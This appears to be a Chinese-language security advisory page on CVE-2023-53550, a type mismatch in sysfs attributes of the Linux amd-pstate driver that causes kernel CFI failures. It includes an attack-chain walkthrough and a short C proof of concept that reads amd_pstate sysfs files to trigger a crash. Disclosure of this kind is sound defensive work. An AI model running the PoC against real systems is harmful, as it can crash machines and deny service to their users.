IPBUF安全漏洞报告
English
CVE-2023-53550 CVSS 5.5 中危

CVE-2023-53550 Linux内核amd-pstate驱动sysfs属性类型不匹配漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53550
漏洞类型
类型混淆/CFI绕过
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (cpufreq: amd-pstate 驱动)

相关标签

Linux Kernelamd-pstatecpufreqCFI类型混淆sysfs拒绝服务DoS本地提权内核漏洞

漏洞概述

CVE-2023-53550是Linux内核中cpufreq: amd-pstate驱动的一个类型混淆漏洞。该漏洞源于提交3666062b87ec中将"amd_pstate"属性从专用kobject迁移到cpu根kobject时,属性类型未做相应调整。在原始设计中,专用kobject期望包含kobj_attributes类型的属性,而cpu根kobject需要device_attributes类型的属性。由于回调函数实际上不使用传入的参数变更,因此在大多数情况下系统仍能正常工作。然而,当系统启用控制流完整性(CFI)保护时,运行时完整性检查机制会检测到这一类型不匹配问题并触发CFI失败异常,导致系统崩溃或内核异常。该漏洞的攻击向量为本地攻击,需要低权限即可触发,不需要用户交互。虽然机密性和完整性不受影响,但会对系统可用性造成严重影响,可能导致系统拒绝服务(DoS)。该漏洞影响使用amd-pstate驱动的AMD处理器平台上的Linux系统。

技术细节

从技术层面分析,该漏洞的核心问题在于Linux内核sysfs属性注册时类型不匹配。在Linux内核中,sysfs提供了两种属性结构:kobj_attribute(用于kobject)和device_attribute(用于device)。这两种结构具有不同的函数指针类型:kobj_attribute使用show/store回调,签名为ssize_t (*show)(struct kobject *kobj, struct kobj_attribute *attr, char *buf);而device_attribute使用ssize_t (*show)(struct device *dev, struct device_attribute *attr, char *buf)。在提交3666062b87ec中,开发者将amd_pstate属性从专用kobject迁移到cpu根kobject,但未将属性结构从kobj_attribute更新为device_attribute。由于两个回调函数的实际实现不依赖于传入的参数(kobj参数在device_attribute回调中实际是device指针),因此在未启用CFI的情况下,函数调用仍能正常工作。但当启用CFI(Control Flow Integrity)保护时,内核会在运行时验证函数指针的类型一致性,当检测到show_status函数被以device_attribute的show回调方式调用时,会触发CFI失败(错误类型0x8651b1de),导致内核警告并可能引发系统崩溃。攻击者可以通过读取/sys/devices/system/cpu/cpufreq/amd_pstate/下的相关属性文件来触发该漏洞。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行受影响Linux内核的AMD处理器系统上获得本地低权限访问权限,系统需启用CFI(Control Flow Integrity)保护
STEP 2
步骤2:定位sysfs属性
攻击者查找/sys/devices/system/cpu/cpufreq/amd_pstate/路径下的sysfs属性文件,如status、epp等
STEP 3
步骤3:触发类型不匹配
通过读取sysfs属性文件,内核调用dev_attr_show()函数,该函数尝试以device_attribute类型调用实际为kobj_attribute类型的show回调函数
STEP 4
步骤4:CFI检测并报告失败
CFI机制检测到函数指针类型不匹配(期望类型0x8651b1de),触发CFI失败异常,调用report_cfi_failure和handle_cfi_failure
STEP 5
步骤5:系统不可用
CFI失败导致内核异常处理,可能引发系统崩溃或不稳定,造成拒绝服务(DoS),影响系统可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53550: Trigger CFI failure via sysfs attribute read // This PoC demonstrates how to trigger the type mismatch in amd-pstate sysfs attributes // Requires: Linux kernel with CFI enabled, AMD CPU with amd-pstate driver #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> // The amd_pstate sysfs attributes that trigger the CFI failure // These attributes were incorrectly registered as kobj_attributes // on the cpu root kobject which expects device_attributes static const char *amd_pstate_attrs[] = { "/sys/devices/system/cpu/cpufreq/amd_pstate/status", "/sys/devices/system/cpu/cpufreq/amd_pstate/highest_perf", "/sys/devices/system/cpu/cpufreq/amd_pstate/lowest_nonlinear_perf", "/sys/devices/system/cpu/cpufreq/amd_pstate/nominal_perf", "/sys/devices/system/cpu/cpufreq/amd_pstate/lowest_perf", "/sys/devices/system/cpu/cpufreq/amd_pstate/preferred_perf", "/sys/devices/system/cpu/cpufreq/amd_pstate/cache", "/sys/devices/system/cpu/cpufreq/amd_pstate/epp", "/sys/devices/system/cpu/cpufreq/amd_pstate/epp_values", NULL }; int main(int argc, char *argv[]) { char buf[256]; ssize_t ret; int fd, i; printf("CVE-2023-53550 PoC - amd-pstate sysfs CFI failure trigger\n"); printf("Attempting to read amd_pstate sysfs attributes to trigger CFI failure...\n\n"); for (i = 0; amd_pstate_attrs[i] != NULL; i++) { printf("Reading: %s\n", amd_pstate_attrs[i]); fd = open(amd_pstate_attrs[i], O_RDONLY); if (fd < 0) { printf(" [-] Cannot open attribute (may not exist on this system)\n"); continue; } // Reading the attribute triggers dev_attr_show() which calls // the incorrectly-typed show callback, triggering CFI failure ret = read(fd, buf, sizeof(buf) - 1); close(fd); if (ret > 0) { buf[ret] = '\0'; printf(" [+] Read %zd bytes: %s\n", ret, buf); printf(" [!] If CFI is enabled, this should have triggered a CFI failure\n"); } } printf("\nDone. Check dmesg for CFI failure messages:\n"); printf(" CFI failure at dev_attr_show+0x24/0x60 (target: show_status+0x0/0x70)\n"); return 0; }

影响范围

Linux Kernel 包含受影响提交3666062b87ec的所有版本
Linux Kernel stable版本(需参考具体修复commit 5e720f8c8c9d959283c3908bbf32a91a01a86547之前的版本)
Linux Kernel stable版本(需参考具体修复commit ddcfc33a20380508f7fea18e1c330abe17ed4fc0之前的版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过sysctl或内核启动参数临时禁用CFI保护(会降低系统整体安全性);2)限制本地低权限用户对amd_pstate相关sysfs文件的读取权限;3)监控系统日志,及时发现CFI失败事件;4)考虑临时切换到其他cpufreq驱动(如acpi-cpufreq)以规避该问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表